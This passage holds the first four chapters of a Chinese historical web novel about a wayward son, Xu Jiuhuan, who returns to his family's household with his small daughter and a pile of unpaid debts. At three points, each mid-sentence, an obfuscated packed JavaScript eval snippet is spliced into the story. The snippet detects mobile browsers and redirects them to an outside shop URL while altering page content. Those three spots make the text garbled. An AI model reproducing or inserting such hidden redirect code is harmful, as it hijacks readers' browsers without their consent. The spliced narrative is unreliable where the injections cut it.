《华缨录》 1. 第 1 章 八月十五。 晨曦初露,散了早朝的各位大人自承天门出,互相道别两句,笑意满面的上了自家马车。 停在稍远处的一辆青布车帷前,小厮焦急踱步,不时溜去探头去往内瞧,被那门前带刀侍卫凶巴巴的一瞪,悻悻的缩回脑袋,磨磨蹭蹭的挪至自家马车旁。 直至门前人影冷疏,一道穿着红袍云雁补子的身影迈过门槛,小厮双眼骤然一亮,朝着小跑去,也顾不得避人,急道:“二爷!大爷回来了!!!” 一石激起千层浪,竟是静了片刻,枝头的雅雀扑棱着翅膀飞远了。 徐士钦与三两同僚结伴出来,闻言,神色怔然微愕。 几位同僚互相对视一眼,便瞧见,向来四平八稳的小徐大人,转身疾首阔步的往那千步廊追去了。 众人目送那背影走远,而后摇首散去。 要说那徐家大爷徐九涣,汴京城中当真是无人不闻其名。 话说当年…… 罢了,今日说那厮,不吉利。 . 可怎说诸位大人有先见之明呢? 宋喜瞧着桌案上的一摞单据,眼皮猛跳,握着丫鬟的手都在颤。 祖宗诶…… “夫人,都瞧过了,是大爷的名儿。”丫鬟低声道。 宋喜闭了闭眼,深吸口气,勉强稳住心神道:“诸位路远久累,偏厅已略备酒菜,聊表谢意,还请诸位移步。” 厅堂之中,座无虚席,就是家里摆宴,都未曾坐得这般满当,椅子不够,板凳来凑,便是板凳不够,连下人歇息时的杌子都搬来了…… 若是那不知情的,哪里知晓这是徐家大爷欠人钱财的?只怕是当他将人家镖局的人都雇来了,送他归家! 可真谓是——声势浩大! 底下坐着的众人,瞧她不是要赖账,皆松了口气,乐呵呵的跟着丫鬟去了。 呼啦啦的动静持续了片刻,厅堂内静了。 宋喜轻缓的呼出口气,侧首看向旁边翘着脚的人。 “望兄长见谅,如今家中虽是我掌中馈,但是此……数额颇重,还需禀明父亲。”宋喜磕巴道。 她实话实说,引得那人抬眸瞧来。 徐家大爷当真是生得一副好模样,那张脸,不如公爹威严,二爷肃穆,眼前之人唇红齿白,如中秋明月,春晓之花,鬓发如刀裁,是随了他过世的母亲。 只是不如传闻般,如朗朗明月的世家公子,他着骑服,浓墨的黑色衬得人颇为冷峻,也与她记忆中偏颇了些。 话音落,便见那双桃花眼微挑,笑问:“你莫不是要老爹回来揍我?” 宋喜杏眼微圆:…… 你竟也知这般行径要挨揍?! “……岂敢。”她假笑道。 咻—— 旁边儿冒出颗小脑袋来,懵懂无辜,“婶娘~” 宋喜叹声。 “婶娘也没法子。” 如她所说,府中虽是她做主,可也是因婆母不在了,她与二爷徐士钦成亲也不过一年半载,府中大事小情,宋喜料理时,也皆谨小慎微的会禀公爹知情。 徐宋两家,祖上沾了些姻亲,宋喜与徐士钦自幼便定下了婚约,徐夫人在世时,宋喜隔两年便要被接上汴京来小住几月,是以,她与这混世魔王般的徐九涣倒也熟识。 父女俩如出一辙的桃花眼,幼时她拌嘴之人,此时气势太过骇人,那双眼睛惫懒,瞳仁漆黑,却又透着几分成年男子的锐气,也让她觉得紧张些。而小泱泱还未长开,眼尾弧度比不得徐九涣的狭长上挑,显得灵动可爱。 宋喜朝徐九涣扫了眼,后者似也懒得与她争辩,靠着八仙椅闭目养神,脑袋还臭不要脸的枕在闺女圆润一团的小肩膀上。 泱泱也当真是纵着他,三岁的小娃娃,乖巧的坐着,腰板儿挺直,将小肩膀垫垫高。 宋喜瞧得目瞪口呆。 坐了两刻钟,门外传来了动静,她起身去迎。 “父亲,二爷。”宋喜福身问安道。 徐鉴实‘嗯’了声,提袍进来,一眼便瞧见那坐没坐相、毫无规矩、呼呼大睡的逆子! 不及训斥,他的目光被旁边的稚童引了去,顿时神色怔然。 “这是大哥的闺女,叫泱泱。”宋喜适时道。 随后进来的徐士钦,闻言一愣,继而眉头紧锁,过去毫不客气的给了徐九涣一脚。 亏得他当爹,竟是这般欺负自己闺女! 徐士钦半年前也喜得千金,小姑娘奶香奶香的,如今半岁也只会吃了睡睡了吃,他稀罕的紧,便见不得这般苛待闺女的! 可紧接着,徐士钦绯红的官袍上便落了个小脚印。 徐士钦:? 泱泱从椅子上跳下来,双手叉腰,凶道:“做甚踹我爹爹!” 这副护犊子的架势,徐士钦好不发懵。 他眉头紧锁,看着面前不及他腿高的小娃娃憋不出话,竟是生生憋红了脸,答不出那问。 徐九涣打了个哈欠,睡眼惺忪的靠在椅子里悠哉看戏。 徐士钦自幼就古板,简直是跟老爹一个模子里刻出来的,向来瞧不上他这个大哥,踹他一脚也无甚可究。 可泱泱正是凡事要追根溯源的年岁,仰着脑袋凶得跟草原上的小狮子似的,绷着小脸儿等他说个缘由来。 时常被人盛赞,性子沉稳,万事胸有成竹,颇有太傅之风的徐二爷,此时瞧着脸红拘谨。 徐九涣遗憾不是在饭桌上,否则,就着徐士钦这副憋屈神色,他定得多吃一碗饭! 可也没少得笑话他,徐九涣不厚道的咧着嘴幸灾乐祸,戳戳闺女的小肩膀,告状似的道:“这就是你二叔。” “哦,”小泱泱顿时了然,小眼神扫了眼面前的二叔,又扭头看爹爹,好不同情道:“他就是老欺负你的那个?” 徐士钦:! 他还未松口气,霎时又犹如五雷轰顶,血色蔓延到了脸上,气得脸红脖子粗。 “……你怎能腆颜与孩子颠倒黑白?!” 徐士钦像是在污泥臭水沟里滚了一遭,冤枉的很! 小泱泱小嘴一撇,有理有据道:“你方才还踹我爹爹!” 徐九涣狐假虎威:“嗯呐。” 徐士钦:…… 谁幼时捅马蜂窝,惹得他被蛰得满头包,自个儿蹲在檐下啃蜜! 又是谁下河摸鱼,湿了衣裳,将他的穿走了,夜间他被老爹罚跪!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134427|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再是谁离家时,将自个儿说得凄惨可怜,骗走了他攒了几年的压祟钱!!! 他、他也只是踹他一下,又没使力,可装模作样! 二爷冤死了。 奈何小包青天·泱泱心眼子偏到了八百里地去,小眼神谴责的瞧他。 徐鉴实瞧着长子那不着四六的德行,便觉脑袋突突直跳,都为人丈夫、父亲了,竟还是这般没个规矩正形。 徐鉴实皱眉训斥道:“起来,长者且站着,焉有你坐着的道理?” 徐九涣回家第一天,还算恭顺,勉强将屁股从椅子上滑了起来,一脸‘你还有啥说的’的表情瞅他。 徐鉴实被他这挑衅眼神瞧得噎了下。 这个逆子! 宋喜在徐家做客几年,自是清楚这二人父子情势同水火,她有些紧张的瞧了眼桌上那摞账,神色犹豫,“……父亲,可要吩咐人摆饭?” 徐鉴实先是瞪了眼那逆子,又看向地上睁着圆眼睛看他的小姑娘,闻言应了声。 小孩儿受不得饿,他便是有话要问,也得用过饭再说。 宋喜松了口气,折身去吩咐丫鬟了。 丫鬟尴尬:“……夫人,偏厅那边还没用完,春眉姐姐吩咐说,早饭且先端给那边去了。” 言外之意便是,这会儿没饭吃。 宋喜还未想出法子,忽的听厅堂爆出一声—— “还敢赊账!” “逆子!给我滚回来!!!” 紧接着,她面前似有残影掠过。 在徐鉴实翻开桌案上账本的那一瞬,徐九涣抄起闺女拔腿就跑! 听这声儿,浑厚如雷钟,堪比武将。 想来老头儿这几年没瞧见他,饭吃得很香,徐九涣心里嘀咕。 偏厅里吃饭的众人,听着这声儿,抱着碗就跑出来了。 “咋啦,咋啦,贼人闯进来啦?” “官老爷家也骂人啊?” …… 门外的丫鬟面面相觑,张口结舌。 徐鉴实气得胡子都在颤,脸臊的发红。 在这初秋清晨,硬生生被气出了一身汗,好似刚练罢五禽戏。 徐士钦在旁边接过那账本翻看,翻得目瞪口呆。 这厮也太不要脸了! 竟是能从燕云五州一路赊账回来! 吃食衣裳,车马下榻,无一不是挂账! 巡城巡边的官老爷都没他这般大的排场! 倒是给自个儿流浪得肆意快活! 几年前,因着那桩事,父亲将徐九涣遣回了晋陵老家,只是不等几月,便收到了族中传来的信,说是那厮跑了! 一晃几年,这人自个儿回来了,非但带回来个闺女,还带回了一摞账! 这要是给族中长老知晓,怕是又得遣来几封书信责训老爹教子无方了! 徐鉴实再是气,也还是打发人从自个儿的私账上拿了银钱,去替那不孝子填窟窿。 “父亲何必?走公账也是一样的。”宋喜说。 徐鉴实摇首,表情变得一言难尽,道:“他几年前回晋陵时,便将自个儿几年的份例银子和四季衣裳钱都拿走了。” 宋喜:…… 2. 第 2 章 春居堂。 清晨的日光透过满墙的‘野客’,洒落在四方院中。 时节正盛,院中草木郁郁葱葱。两侧跨院儿的月亮门前,成双对儿的挂着小红灯笼。西南角的地儿,他以鹅卵石铺的小鱼池,几尾锦鲤快活,水波荡漾。 光景几年,犹如几息。 这院中伺候的下人,都是徐九涣的娘在世时,给他拨来伺候的,除了他离开汴京时,将身边一桃李年纪的大丫鬟放了身契,其余人都在,目光欢喜的瞧着他们父女,福身齐声问安。 “问大爷安,小姐安。” 徐九涣目光平静的收回,道:“去烧些热水来,兰草澡豆备好,我要沐浴。” “是。” 听得吩咐,众人也不见惊慌,她们都是自幼跟在主子身边伺候的,知他惯来习性,热水早已烧好,只等粗使婆子提进房中就是了,莫说兰草澡豆,就是擦面的膏脂都有丫鬟方才紧赶着去买了新的来,摆在了主子桌案上。 院中如今管事的,是徐九涣的另一大丫鬟,名唤绿稚。 徐九涣将其喊来,道:“去与管事的说,将库房里我幼时老夫人给打的那只鸡翅木小浴桶取来,给泱泱用。” 绿稚颔首应声,“奴婢这就去。” “不急,先去拿小木桶来,给她也泡个花瓣澡。”徐九涣道。 小泱泱用力点脑袋! 香香的! 她喜欢! 八月桂花香,小泱泱盘着小短腿儿坐在软榻上,任由爹爹替她擦发,擦得脑袋东倒西歪。 她觉得自个儿像是泡在了蜜罐子里,不时的抬起胖手手嗅嗅,又忍不住欢喜的咯咯笑。 徐九涣瞅着她这小模样,心下叹道:诶,养糙了。 他与她娘都是锦衣玉食的长大,别说是随处可见的桂花,就是宫中费心养着的极品牡丹,他们都不见得多瞧一眼的。 小闺女养成了小土包子。 绿稚捧着熏过香的外裳进来,禀道:“主子,老爷吩咐人过来请小姐去用饭。” “知道了。”徐九涣随意应了声,拿了澄黄的小衫给闺女穿好,小鞋套上,起身道:“走了。” 却是见跟前站着的绿稚,神色微僵,眨着眼睛迟疑道:“……主子,是接小姐的。” “……那我呢?”徐九涣眼角眉梢轻抬的问。 绿稚:。 徐九涣:…… 徐鉴实原话是:去将泱泱接过来,那挥金如土的逆子不必管! 吃喝了上千两银钱! 打今儿起饿着吧! 可传话的丫鬟哪里当真敢这般说? 只得与绿稚说了两遍,只接小姐去。 徐九涣默了一瞬,断然道:“……我没听着。” 绿稚:? . 徐家主子少,从前这府中,只住着徐鉴实与夫人,还有二子,一日三餐,自是都在正院儿用的。 后来,夫人去了,二爷娶妻,便各院儿分了厨房自己用,只初一十五逢佳节时,会一同在前堂用。 今日既是佳节,也是团圆,桌上的饭菜也比往日丰盛许多。 丫鬟摆膳后,鱼贯而出。 堂院里两道身影阔步行来。 方才传话的丫鬟跟在后面,都要为难哭了。 好在大爷也未让她通传,自个儿大步流星的掀袍跨了进去。 徐鉴实没好气的瞥他一眼,倒也懒得与他生气,就是见这逆子懒散敷衍的拱了拱手便坐,也只是眉头皱了皱。 食不言,相安无事的用过早饭。 徐鉴实让宋喜将泱泱带走了。 小姑娘一步三回头,小眼神很是担忧她爹了。 徐鉴实嘴角抽了下,窥一斑而见全豹,可见这当爹的从前跟闺女如何说的他们! 徐九涣挨了老爹一记瞪,无辜的很,“又咋啦?” “哼。”徐士钦在旁阴阳怪气的轻哼,“明知故问。” “怎么跟大哥说话呢?”徐九涣吃饱喝足,弹人脑瓜崩儿也格外的响,气势十足的学着老爹教训人的口吻,“规矩呢?学狗肚子里去了?以为蓄着短须,将自个儿打扮得老上十岁,就能越过我去,跟老爹称兄道弟了?” 徐士钦脸唰的红透,看向徐鉴实的眼神都显得慌乱了些,“我、我没!” 虽说他蓄须是学了父亲……但他哪里敢有称兄道弟的不敬想法! “行了,跟我过来。”徐鉴实打断道。 父子三人去了徐鉴实的书房。 兄弟俩幼时,便是在这间书房由徐鉴实给开蒙启学,那时用过的戒尺犹挂在檀香木太师椅旁,徐鉴实伸手便够得着,打人也顺手极了。 徐九涣眼皮撩了下,扫过那桌案上的册子,目光稍顿,便兴致寥寥的收回,于旁边的椅子坐下了,这般自觉姿态,惹得屁股刚沾椅子的老头儿又瞪他一眼。 徐鉴实看向次子,道:“你也坐吧。” 徐士钦拱手行礼,于徐九涣下首落座。 “泱泱……”徐鉴实张口,稍顿了顿,方才又道:“是你与孟家那闺女的?” 他语气并不急,似是有些忆起往事而难以开口的涩然。 徐九涣懒散的靠在椅背上,狭长的眸子半垂,让人瞧不出情绪来,喉咙滚了滚,闷出个‘嗯’。 徐鉴实有一瞬,张口结舌。 “……她人呢?没与你一道回来?”他问。 徐九涣忽的抬眸,目光直直的与他对上,似是要瞧清些什么,片刻,他倏而勾唇轻笑,自嘲似的道:“回哪儿?” 看着老头儿像是被刺痛般,瞳孔怔了下,徐九涣却并不觉得畅快。 他收回目光,淡声道:“死了。” 话出口,房中犹如陷入了死寂。 徐九涣喉咙艰涩的滚了滚,犹记得那日血腥气从喉间溢出时,他被孟灵藏进了那半截土地神的神祇里。 五脏六腑都像是碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134428|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,眼前模糊,他没抓住她…… “知道她因何死的吗?” 半晌,徐九涣轻飘的问。 “因为,她看见了孟固安。” 这名儿一出,肉眼可见的徐鉴实身子轻晃了下,满目不可置信。 徐九涣看着撑起的竹叶窗,大片的日光跳进来,在窗前投落下斑驳暗影,他侧首看向徐鉴实,残忍道:“不必再费力气了,他当真……投敌叛国了。” . 徐家与孟家是故交。 朝中文臣以三朝帝师的徐家为首,武将之中,则是世代虎将、功绩蒙荫的孟家居首。 穿成小娃娃的徐九涣,周岁宴时有了个小媳妇儿,孟家孟灵,正与他并排躺着吃手手。 嗯……孟灵咬他的手。 馋死丫得了,那时徐九涣心里骂。 后来长大些,君子六艺,他六艺不通,换做了孟灵嫌弃他——手不能提笔,腿不能跨马,废材是也。 徐九涣及冠之年时,孟家生得变故。 云中一役,孟家大败,北狄攻势迅猛,夺了他们刚拿回来的燕云五州,守将多是战死,边关告急。大军压境之时,消息八百里加急传来,孟固安投敌。 官家大怒,孟家阖族获罪,连坐九族。 那个夜风里,背刀跨马的少女,发辫被风猎起,朝他笑道:“徐九涣,替我多谢伯父。” 不过两日,徐九涣被徐鉴实送往晋陵老家时,才知徐鉴实以他这门亲事,替孟灵与官家求了特赦令,让她去云中。 怨徐鉴实什么呢? 是擅自替他退了亲,还是他明知孟灵心性,却还是推波助澜了一把? 徐九涣看着自己亲手纂刻的牌位,心想,无甚可怨的。 他将牌位用布包好,喊来玩儿得满头大汗的小泱泱,“走,去给你祖母和娘磕个头。” 徐家家祠,供奉的都是他们这一支的,此处幽静,只有两个小厮洒扫守门。 徐九涣仔细将抱着的牌位放在他娘旁边,怔然瞧了片刻,忽的道:“也没给你择个良辰吉日,就这么着吧,你知道的,我从不信这些……” 说着,他顿了良久,眼底猩红。 . 徐鉴实在房中静坐了一日,直至身边的小厮叩门。 “老爷,该入宫参加中秋宴了。” “知道了。” 片刻,徐鉴实抬手,将桌案上一摞册子,扔进了脚边的铜盆,以火折子引火,澄黄的火光跳起,照亮那双灰败如枯的脸。 直至盆中灰烬燃尽,徐鉴实推门出了书房,再换了朝袍出来时,提步先行去了家祠。 “你在此处等我。” 小厮止步,垂首应是。 祠堂清净,子嗣不丰,供奉牌位寥寥,是以,徐鉴实一眼便注意到了夫人旁边的那方牌位。 ——徐九涣之妻,孟灵之位。 夕阳的光影落在身后,一人一牌位静默的相望。 3. 第 3 章 徐家祖上,与孟家结过姻亲。 到徐鉴实与孟固安一代时,二人引为知己,结为挚友,是以,在两个孩子刚满周岁时,便许下了姻亲之喜。 孟家世代守边关,至忠勇侯老矣之时,孟固安袭爵,前往边关。 成禧九年,与狄人战二年,拿回了燕云五州,可朝廷尚未商议出派遣哪位朝臣去接手五州,边关大败,紧接着,便是孟固安投敌的消息传来,一夜之间,孟家老小皆被关押内狱,徐鉴实只救的孟灵出了囹圄。 他以为孟灵能懂,出走云中,待来日徐徐图之,终能沉冤昭雪,还孟家清白。 可那姑娘甩开了他暗中保护的人马,自此再无消息。 而他以为的功高盖主、鸟尽弓藏的冤案,也只困住了自己。 最后一抹斜阳落下,徐鉴实折身往外走。 清瘦的身影落在身侧,失了些挺拔。 . 余晖散去,府中各处上了灯,幽静的府邸照得亮堂一片。 徐九涣站在门前看了片刻,唤来人道:“将这两盏红灯笼摘了。” 小厮一愣,抬眼瞧他脸色,没敢多问,只应了声,便去搬木梯了。 徐九涣牵着泱泱进来,见厅中只有徐士钦夫妇,二人起身与他见礼。 “老爹呢?”他问。 闻言,徐士钦瞥他一眼,那眼神似是谴责他连这都忘了,道:“进宫赴宴了。” 徐九涣一顿,继而震惊道:“老头儿自个儿去吃独食啦?!” 小泱泱一副吃惊表情,肉手手捂着嘴巴,滴溜溜的眼睛睁圆。 徐士钦更震惊于他的厚颜,瞪着眼道:“……你这般年岁,还想跟着去蹭宫中宴席?!” 宫宴多是可带家眷,兄弟俩幼时,时常跟着爹娘进宫赴宴,初夏时的端午宴,仲秋时的中秋宴,春桃秋蟹,赛龙舟赏花灯,自是别处比不得的华丽热闹。 可如今的他们,早已及冠,如何再跟着老爹去宫宴? 徒惹笑话。 徐九涣抱起费力往椅子上爬的闺女,丝毫不见被指责的中伤,瞅他,“你也当官儿的,你怎不去?” 徐士钦:“……正四品朝官才可入宴。” 徐九涣眉眼一挑,“哦~你几品?” 徐士钦:…… 他一介白身也有脸嘲笑自己?! 这团圆饭当真是吃不了一点! 宋喜未察这话中嘲讽,模样正经答道:“夫君年前升任正五品谏议大夫。” “哇~”小泱泱拍手手,小脑袋一扭,攀比道:“爹爹,你没有嘛?” 徐九涣扯着的嘲笑顿收,“……开饭吧。” 丫鬟抿唇偷笑,退了下去。 虽是只有四人,但到底算是家宴,宋喜操持之时,菜色并未清减。 用饭罢,几人又用了团圆果,不等徐士钦说什么赏月的酸话,徐九涣一手抄起闺女就疾步出门去! 夜里,咕咚一声。 小泱泱漱口的茶溜进了肚肚里啦。 “去哪儿呀~”小泱泱搂着爹爹的脖颈,奶声奶气的问。 “带你见世面去。”徐九涣道。 否则,见着门前的一对儿兔儿灯都要瞧半晌,丢他老脸。 也没喊人套马车,出了九曲坊,过了春明街,徐九涣往城东去。 城东澄阳湖,因清晨日升时,日光金黄如橙而得名。 湖光山色,风景秀丽,起高楼,凭栏观,是达官显贵家的小姐公子最爱的消遣处。 今日中秋佳节,澄阳湖少不得要挂灯。 也当真如此。 湖泊两岸亮如白昼,多是贵女姑娘家提灯夜游。 小土包子·泱泱哪儿见过这般丽景,瞧得目不暇接,连声惊叹,“哇~好漂亮!” 徐九涣无语,将她领至一小摊前,道:“挑一盏。” “都给我买?”小泱泱歪着脑袋瞅他,面色怀疑。 “啊。”徐九涣点头。 小泱泱放下心来,过去看看这个,摸摸那个,最后指着对面摊子,脆声道:“我要那个!” 徐九涣看着那烟熏火燎的小摊:…… 果真是羊肉串才是心头好啊。 片刻,父女俩心满意足的抓着肉串蹲在路边啃,吃得满嘴油香。 擦了擦嘴,小泱泱大方的从小荷包里掏出个银稞子,指着那长龙似的队伍道:“礼尚往来,我请爹爹吃炊饼~” 徐九涣瞅了眼她手里的银子,眉梢轻挑,指着稍远处些的小摊道:“我要吃锅盔。” “唉~”小泱泱抓着银稞子小小叹气。 爹爹哪儿都好,就是不给她省银子~ 两个羊肉锅盔,那银稞子险些不够付账,小泱泱蔫儿哒哒的抱着他腿,“抱~” 徐九涣吃人嘴短,给她扛在了肩膀头上坐着。 唰—— 目之所及晃动的灯影和裙摆,瞬间变得广阔,小泱泱高兴得晃晃腿儿。 她高高的! 顺着蜿蜒泾河,观两象景观。 两岸鳌山溢彩流光,华灯高照,歌舞升平。 小泱泱瞅见里边儿的热闹,小手揪住爹爹的耳朵,急忙道:“好看!进去呀~” 此楼名曰‘红绡楼’,是汴京城中闻名遐迩的烟柳巷,富贵乡。 徐九涣眼皮一跳,心道:带你去瞧,怕是你娘得晚上托梦来揍我。 他假装没听到—— “嗷嗷嗷!进进进!”徐九涣嚎了两声,捂着耳朵瞪她。 小泱泱咧嘴笑,讨巧卖乖的给他揉揉耳朵。 刚行至门前,二人便被堂倌儿拦了。 “实在对不住客官,小楼的雅间儿都被各位爷订了去,没空的了。” “都是谁,你与我说一二名儿来,说不准儿我也认得呢。”徐九涣厚颜道。 他脖子上坐着的小姑娘咬着羊肉锅盔点脑袋,“我们熟~” 小二讪笑道:“客官说笑了,小的就是个伺候茶水的,哪里知贵人名讳?” 缠磨说话间,忽闻身后一道声—— “徐九涣?!” 闻声回头。 便见灯火处,一道枣红身影等不及小厮摆脚凳,从马车上跳下来,疾步朝他们行来。 徐九涣眉头轻动了下,朝来人潦草的见了一礼,“豫王殿下。” “你何日回来的?我竟是不知!”赵士宁朝他肩上正要捶一拳,动作倏地顿住,目光往上挪去,目瞪口呆的瞧着他肩上坐着的小女娃。 小姑娘手里抓着个比脸还大上些许的羊肉锅盔,漆黑的眼珠子一眨不眨的瞧着他……脑袋上镶嵌着红宝石的金冠子。 “这谁?” “我闺女。” “你都娶妻生子啦?娶的哪家贵女?太傅都没宴宾客啊!” 徐九涣不理会他的吱哇乱叫,心想,老头儿都是刚知晓的呢,哪里去宴宾客? 他朝赵士宁身后略抬下颌,道:“你今儿当的是好叔叔?” 二人自幼便是臭味相投,可谓是狐朋狗友。 赵士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134429|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁听出他话中轻讽,扭头便见几个小孩儿跑近来,身后跟着照料的嬷嬷。 那走在前面的小公子,先是朝那满是恩客调笑的红绡楼望了眼,又看向赵士宁。 赵士宁瞬间头皮发麻,手指朝旁一指,飞快道:“是他想进去!” 小泱泱顺着那根手指往上,继而重重点脑袋,“嗯!” 她想进去呐~ 徐九涣眼皮无语的跳了下,便对上了那小公子藏不住责训的眼神。 徐九涣:…… 赵士宁卖了朋友一遭,良心稍稍被谴责了下,蹭过来与他挤眉弄眼,低声解释:“这是我三哥家的。” 徐九涣懂~ 世家贵胄,子孙多是五岁启蒙,不是在官学,便是在自家族学。 皇子龙孙更甚,多是三岁便被送去学宫,由太傅授学。 徐九涣幼时,也是沾了老头儿的光,五岁时被成禧帝金口玉言挑去学宫,给金蛋蛋做陪读,眼瞧着那些个金蛋蛋被老头儿规训成小古板,这不,眼前就有一个。 小孩儿身量不及他腿高,那古板模样大有青出于蓝而胜于蓝的架势。 “公子。”徐九涣朝他躬身见礼。 “晚辈赵徵,见过徐师叔。” “当不得公子如此唤。”徐九涣嘴上说着,身子却是没挪一寸,厚着脸皮受了这古板严训的一拜。 “师叔不必推脱,我师从太傅,自是当唤你师叔,”赵徵目光稍仰,正色道:“太傅教导,言行可覆,信之至也;推美引过,德之至也[1],此地……师叔少来为好。” 徐九涣:……骂谁无信无德呢? “你骂我作甚!” 小泱泱气呼呼道。 她晃晃小短腿儿,示意爹爹将她放下来。 徐九涣:? “……这个可不能踹嗷。” “我有数!”小泱泱自信道。 赵士宁满脸吃惊,小声问徐九涣:“你闺女几岁?” “三岁。” “三岁就能听懂人话了?” 徐九涣侧身瞪他,“骂谁呢?” “不不不是……” “此处咋的了?”小泱泱仰着脑袋气势汹汹的问面前比她稍高些的。 赵徵不欲欺负小孩儿,抬眼看向徐士钦,就见他与十二叔正不知嘀咕什么。 他收回目光,一板一眼道:“此处男女放荡,放浪形骸,自是该远之。” 放荡是啥? 小泱泱拧了拧小眉毛。 “你进去过?” “没有。” “既是没有,何以评判?”小泱泱小辫儿翘起,理直气壮,“你带我进去瞧过,我再打量着你可要给我道歉。” 她要瞧瞧放荡! 还有那啥hai~ “为何道歉?” “你骂我了!” 小赵徵思忖片刻,问:“是你想进去?” “对!” 小泱泱两眼放光,就见面前的人朝她爹爹拜了一拜。 “赵徵无礼,错怪师叔了,还望师叔见谅。” “怎敢怪世子,是豫王殿下的错。” “咦~”小泱泱歪着脑袋看看赵徵,又看向阿爹,一双桃花眼清澈,“爹爹~我想吃柿子~” 赵徵:…… “世子是公侯王府的继承人。”他憋了憋,小脸微红,“……不能吃。” “哦~”小泱泱满脸遗憾的咬了口手里的羊肉锅盔,又问:“那你是继承人,能带我进去不?” 4. 第 4 章 春明街静谧无声。 唯有车马压过某处松动的石板时,嘎吱的轻响。 片刻,马车在府门前停下,徐鉴实掀帘下来,与小厮吩咐道:“让大爷过来正院儿找我。” 小厮应声。 门前护卫听着,禀道:“老爷,大爷带着大小姐出门了,还未回来。” “罢了。” 徐鉴实叹息一声,抬步入内。 徐九涣回来时,已近三更。 门前护卫低声将方才的事禀了。 “天没塌下来吧?”徐九涣问。 护卫一脸懵的接过他抛来的半包栗子糖,点点头。 这主儿似是很满意,抱着睡着的闺女扬长而去,只丢下一句—— “那就洗洗睡吧。” 翌日。 天没塌,晴空万里。 可是……徐九涣的天塌啦! “你做什么?”徐鉴实见他一言不发的起身,皱眉问。 徐九涣眼珠子发木,呐呐道:“许是起得太早,还在梦里。” 徐士钦无语至极,朝他翻了记白眼,道:“爹腆着脸给你求蒙荫恩典,还不是为你?但凡你能科考一二功名,何至于爹如此?” 徐九涣脑袋慢吞吞的扭过去,瞧他道:“要不……你身兼二职?” 徐士钦:…… 徐九涣颇觉委屈,“养我又不费银子……” 徐鉴实眼皮狠狠一跳,恨不得将那一摞账砸他脸上,让他瞧清楚些! “这一二日,想来官家会下旨,你莫要出门胡闹去。”徐鉴实道,“礼部员外郎虽只是正六品小官,可你但凡做出些实绩……” 徐九涣眼巴巴的瞅着他,一脸的‘你当真如此想’的神色。 徐鉴实忽的哽住,话音戛然而止。 “是,礼部如今虚职,但也合你不是?若当真给你外放去,只怕丢我脸!”徐鉴实恼道。 昨日宴散,徐鉴实便被官家召去。 徐九涣回来不足一日,消息便传到了官家耳中。 泱泱的身世,断然是瞒不住的。 徐鉴实顺恭圣听,求了这蒙荫恩典。 徐家是徐家,孟家是孟家。 而泱泱,是他徐家子嗣。 徐九涣耸耸肩,吊儿郎当道的气人道:“我又没说话,恼羞成怒做甚。” 徐士钦瞪他:“你少说两句。” 早膳摆好,丫鬟们便退下了。 几人落座,自觉的食不言。 用过早饭,不等徐九涣一脸恹恹的带着闺女走,徐鉴实将泱泱喊了去。 “爹爹~等我嗷~” 小泱泱被祖父牵着,扭头满脸不舍的跟徐九涣殷切叮嘱。 徐鉴实双眼盯着长子。 徐九涣嘴巴动了动,勉强道:“……今儿不出门逛去。” 祖孙二人来了书房。 徐鉴实在桌上铺好宣纸,也没喊人进来伺候,一手轻提衣袖,稍添水研墨。 稍片刻,墨香在房中散开。 溜溜达达瞧了一圈儿的小泱泱跑回来桌前,瞧着他的动作。 徐鉴实目光稍偏,温声问:“可知你名之义?” 徐太傅儒雅温和,一把美髯养的极好,根根顺滑,间无杂色,随着唇齿张合而轻动,颇为吸引小姑娘的目光。 小泱泱伸着小手摸摸,点头道:“爹爹说,兰溪春尽碧泱泱,映水兰花雨发香[1],我出生在兰溪,正值新雨之后,兰香清冽,他觉得很好,是以,唤我泱泱。” 太傅骤然怔愣,良久,一副美髯轻动,长叹息道:“祖父知道了。” 泱泱歪了歪脑袋,瞧着他的神色疑惑不解,肉乎乎的小嘴嗫喏几下,又道:“祖父若觉凄凉,那便只当我这名儿,是以春色泱泱,可好?” 三岁小娃娃,竟是这般识人心事怅然,说出这哄人的话。 徐鉴实放下墨条,朝她招招手,“你来。” 泱泱不明所以,胖乎乎的小身子自然的靠在他膝上,仰着张小脸儿瞧他,“祖父可是还觉难过?” 徐鉴实摇首笑笑,“你爹可曾教你读书写字?” 泱泱摇头,实话实说道:“爹爹说,来日方长,不急着吃读书的苦!” 徐鉴实:! 那个逆子!!! 云海翻涌,日光透过窗棂,洒落满地的竹影,明亮和煦。 只见那近半百之人,将小孙女抱在膝头,握着手教她写字。 “兰溪春尽碧泱泱,映水兰花雨发香……” “可学会了?” “会啦!” . 圣旨来得很快。 